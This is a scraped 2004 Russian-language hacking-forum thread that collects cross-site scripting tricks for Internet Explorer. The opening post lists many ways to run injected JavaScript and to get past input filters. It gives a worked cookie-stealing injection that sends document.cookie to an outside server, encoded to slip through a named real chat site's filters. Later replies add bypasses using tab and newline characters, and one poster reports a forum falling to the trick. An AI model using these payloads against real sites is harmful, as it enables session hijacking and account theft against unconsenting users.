ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.06.2004, 12:45
Аватар для
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
Question

Захожу в инет с разных мест! И постоянно приходится вспоминать разные баги IE...

Может мою доку разместят на antichat.ru (чтобы каждый раз не париться):
------------------------------------------------------------
[b]Тэг img и image работают одинаково (об <image> мало кто знает).
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src="1.png" alt="" border="0">
<image src="1.png" alt="" border="0">[/QUOTE]<span id='postcolor'>

Слеш вместо пробела.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><image/src="1.png"/alt="Подсказка"/border="0">[/QUOTE]<span id='postcolor'>

Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><image src="" alt="Моя подсказка" border="0">
<image src="" alt='Моя подсказка' border="0">
<image src="" alt=`Моя подсказка` border="0">
<image src="" alt=Подсказка border="0">[/QUOTE]<span id='postcolor'>

Спецсимволы в значениях параметров автоматический переводятся обратно.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert("ok")>
<meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
<meta http-equiv=Refresh content=0;url=javascript:alert(&amp;quot;ok&amp;qu ot;)>
<meta http-equiv=Refresh content=0;url=javascript:alert(&amp;#039;ok&amp;#0 39;)>
<meta http-equiv=Refresh content=0;url=&amp;#106;&amp;#97;&amp;#118;&amp;#9 7;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112 ;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;& amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#111;&am p;#107;&amp;#39;&amp;#41;>[/QUOTE]<span id='postcolor'>

Также можно использовать слеш (только в этом случае эти слеши будут частью текста).
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert(/ok/)>[/QUOTE]<span id='postcolor'>

Несколько способов запустить JavaScript.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">< script>alert('ok')</script>
< script src=1.js></script>
<body onLoad=alert('ok')>
<meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
<image src=1.png onload=alert('ok')>
<image src=javascript:alert('ok')>
<image src="" onerror=alert('ok')>
<hr style=background:url(javascript:alert('ok'))>
<span style=top:expression(eval("alert('ok')"))></span>
<style type="text/css">@import url(javascript:alert('ok'));</style>
<object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object>
<embed src=javascript:alert('ok');this.avi>
<embed src=javascript:alert('ok');this.wav>
<iframe src=javascript:alert('ok')>[/QUOTE]<span id='postcolor'>

Операторы JavaScript из тэга STYLE надо разделять &quot;\;&quot;.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>[/QUOTE]<span id='postcolor'>

Как украсть cookie если скрипты блокируют символы &lt; &gt; &quot; ' &amp; ???
1. Скрипт для отсылки cookie:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src=javascript:location.href='http:\/\/antichat.ru\/cgi-bin\/s.jpg?'+document.cookie>[/QUOTE]<span id='postcolor'>
Все / необходимо экранировать, т.к. мы будем использовать unescape(/текст/);
2. Кодируем все что надо (символы которые фильтрует чат, форум и т.п.):
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fa ntichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E[/QUOTE]<span id='postcolor'>
3. Теперь собираем инъекцию (пример из http://www.dmbchat.ru):
При регистрации укажите свой цвет как: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">FF z=`[/QUOTE]<span id='postcolor'>
Заходим в чат и посылаем: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">` style=`background:url(javascript:top.frames[3].doc ument.write(unescape(/%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fa ntichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E/)))` [/QUOTE]<span id='postcolor'>

Как видно, мы не использовали ни одного запрещенного символы!
После исполнения кода в 4ом фрейме будет html-код: /&lt;img src=javascript:...&gt;/
Который и выполнит наш скрипт!!!

Совет по http://www.dmbchat.ru:
Там в списке пользователей рядом с каждым именем есть пагоны (это их звания), так вот – Прапорщики могут банить аж на год =)&lt;/b&gt;
 
Ответить с цитированием

  #2  
Старый 06.06.2004, 17:09
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Оформи вразумительно, тогда разместим...

PS
только немного нужно подправить кое-что , кое-что добавить...
Например в выражении &lt;span style=top:expression(eval(&quot;alert('ok')&quot;) )&gt;&lt;/span&gt; функция eval лишняя.

А вот про знак / я чесно говоря не знал &nbsp;:)
Откуда такая инфа? Сам нашел?
 
Ответить с цитированием

  #3  
Старый 06.06.2004, 18:47
Аватар для zFailure
zFailure
Участник форума
Регистрация: 06.06.2004
Сообщений: 169
Провел на форуме:
0

Репутация: 82
Отправить сообщение для zFailure с помощью ICQ
По умолчанию

Да про слеши я сам нашел! Это IE так криво регулярные выражения обрабатывает! =)

Я сделал html-файл со статьей, куда ее послать?
 
Ответить с цитированием

  #4  
Старый 06.06.2004, 20:58
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Все таки этот слеш не всегда заменяет пробел ...

Например такая конструкция работает:

&lt;a href=javascript:ins(&quot;Dzzz =`&quot&gt;dddd&lt;/a&gt; &nbsp;` style=background:url(javascript:alert()); &nbsp; &lt;/td&gt;

А вот такая - нет:

&lt;a href=javascript:ins(&quot;Dzzz/=`&quot&gt;dddd&lt;/a&gt; &nbsp;` style=background:url(javascript:alert()); &nbsp; &lt;/td&gt;
 
Ответить с цитированием

  #5  
Старый 06.06.2004, 23:38
Аватар для zFailure
zFailure
Участник форума
Регистрация: 06.06.2004
Сообщений: 169
Провел на форуме:
0

Репутация: 82
Отправить сообщение для zFailure с помощью ICQ
По умолчанию

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ июня 06 2004,20:58)</td></tr><tr><td id="QUOTE">Все таки этот слеш не всегда заменяет пробел ...

Например такая конструкция работает:

&lt;a href=javascript:ins(&quot;Dzzz =`&quot;)&gt;dddd&lt;/a&gt; ` style=background:url(javascript:alert()); &lt;/td&gt;

А вот такая - нет:

&lt;a href=javascript:ins(&quot;Dzzz/=`&quot;)&gt;dddd&lt;/a&gt; ` style=background:url(javascript:alert()); &lt;/td&gt;[/QUOTE]<span id='postcolor'>
слеши могут заменить пробелы только если значения ограничены (ковычками или апосстрофами)

&lt;a href=&quot;javascript:ins('Dzzz&quot;/=`')&quot;&gt;dddd&lt;/a&gt; ` style=background:url(javascript:alert()); &lt;/td&gt;
 
Ответить с цитированием

  #6  
Старый 07.06.2004, 10:17
Аватар для Егорыч+++
Егорыч+++
Administrator
Регистрация: 27.05.2002
Сообщений: 1,241
Провел на форуме:
20377164

Репутация: 0


По умолчанию

В принципе если пробелы не проходят, то проходит табуляция..

&lt;a href=javascript:ins(&quot;Dzzz =`&quot&gt;dddd&lt;/a&gt; &nbsp;` style=background:url(javascript:alert()); &nbsp; &lt;/td&gt;
 
Ответить с цитированием

  #7  
Старый 07.06.2004, 11:23
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

В принципе, если используются регулярные выражения типа &quot;[^\S]&quot;, то это отфильтровывает как пробелы, так и остальные non-white-space character, а именно \f\n\r\t\v\x85, т.е. и табуляцию тоже...
 
Ответить с цитированием

  #8  
Старый 07.06.2004, 23:23
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Кстати, сегодня копался в одном форуме (не скажу в каком ) , и обнаружил гениальную вещь. Известно, что если между двоеточием и словом javasciprt стоит пробел, то скрипт не работает:
&lt;img src=&quot;javascript :alert()&quot;&gt;
А вот если перед двоеточием стоит табуляция, то прокатывает на ура:
&lt;img src=&quot;javascript :alert()&quot;&gt; (после javascript стоит табуляция)
или так тоже катит:
&lt;img src=&quot;javascript&amp;#09:alert()&quot;&gt;

А ведь известно, что многие форумы фильтруют именно такое сочетание javascript:. А вот &nbsp;сочетание javascript&amp;#09: как правило не фильтруется

Как результат - форум сразу сдался ))

(Спасибо Егорычу за напоминание о табе)
 
Ответить с цитированием

  #9  
Старый 08.06.2004, 16:17
Аватар для zFailure
zFailure
Участник форума
Регистрация: 06.06.2004
Сообщений: 169
Провел на форуме:
0

Репутация: 82
Отправить сообщение для zFailure с помощью ICQ
По умолчанию

&lt;img src=&quot;javascript&amp;#9;:alert()&quot;&gt;
&lt;img src=&quot;javascript&amp;#10;:alert()&quot;&gt;
&lt;img src=&quot;javascript&amp;#13;:alert()&quot;&gt;
&lt;img src=&quot;javascript
:alert()&quot;&gt;
Причем можно использовать любое их количество и в любых комбинациях!

&lt; script&gt;
document.write('&lt;img\13src=&quot;javascript:ale rt(1)&quot;\13alt=&quot;текст&quot;\13border= &quot;0&quot;&gt;');
&lt;/script&gt;
\13 это символ с кодом 11 в восьмеричной системе.
Кроме этого можно использовать символы с кодами: 9-13, 32, 47 (внимание: 11 и 47 не входят во множество space, word и digit).
&lt; script&gt;
document.write('&lt;a href=javascript:ins(&quot;Dzzz\13=`&quot;)&gt;dddd &lt;/a&gt; ` style=background:url(javascript:alert()); &lt;/td&gt;');
&lt;/script&gt;

=)
 
Ответить с цитированием

  #10  
Старый 08.06.2004, 16:30
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">&lt;img src=&quot;javascript&amp;#9;:alert()&quot;&gt;
&lt;img src=&quot;javascript&amp;#10;:alert()&quot;&gt;
&lt;img src=&quot;javascript&amp;#13;:alert()&quot;&gt;[/QUOTE]<span id='postcolor'>
Точка с запятой - лишние.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">&lt;img src=&quot;javascript
:alert()&quot;&gt;[/QUOTE]<span id='postcolor'>
В постингах обычно возврат каретки либо преобразуется в &lt;BR&gt; либо заменяется на пробел, поэтому так обычно не катит.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">&lt; script&gt;
document.write('&lt;img\13src=&quot;javascript:ale rt(1)&quot;\13alt=&quot;текст&quot;\13border= &quot;0&quot;&gt;&#39;
&lt;/script&gt;
\13 это символ с кодом 11 в восьмеричной системе.
Кроме этого можно использовать символы с кодами: 9-13, 32, 47 (внимание: 11 и 47 не входят во множество space, word и digit).
&lt; script&gt;
document.write('&lt;a href=javascript:ins(&quot;Dzzz\13=`&quot&gt;dddd &lt;/a&gt; &nbsp;` style=background:url(javascript:alert()); &nbsp; &lt;/td&gt;&#39;
&lt;/script&gt;[/QUOTE]<span id='postcolor'>
Это не катит, потому что работает только в write. А в write можно писать хоть в юникоде, хоть в escape....
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ